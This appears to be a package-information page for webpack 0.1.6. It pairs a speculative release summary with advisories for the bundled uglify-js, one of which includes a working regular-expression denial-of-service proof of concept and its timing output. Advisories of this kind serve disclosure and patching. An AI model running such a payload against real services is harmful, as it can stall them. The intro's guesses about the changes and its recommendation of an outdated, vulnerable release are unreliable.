Webpack version 0.1.6 represents a minor update to the popular JavaScript module bundler, building upon the foundation laid by version 0.1.5. Developers already familiar with webpack will find the core functionalities unchanged, retaining the ability to effectively pack CommonJS modules for browser deployment and split codebases into on-demand, loadable bundles. The core dependencies remain consistent: leveraging Esprima 0.9.8 for JavaScript parsing, Optimist 0.2.x for command-line argument parsing, and Uglify-js 1.2.5 for code minification. Development dependencies also persist, with Vows still utilized for testing.
The most notable difference lies in the release date, with version 0.1.6 published on March 12, 2012, a single day after version 0.1.5, which was released on March 11, 2012. This suggests that version 0.1.6 likely incorporates bug fixes, minor enhancements, or possibly updates to underlying infrastructure that didn't warrant a more significant version bump. While the specific nature of these changes remains implicit, developers migrating from 0.1.5 can anticipate an incremental improvement in stability or performance. For new users, starting with the slightly newer 0.1.6 release is generally recommended, offering the benefit of any addressed issues from the previous version. Both versions maintain the same core functionalities for module bundling and code splitting, essential for building modern web applications.
All the vulnerabilities related to the version 0.1.6 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.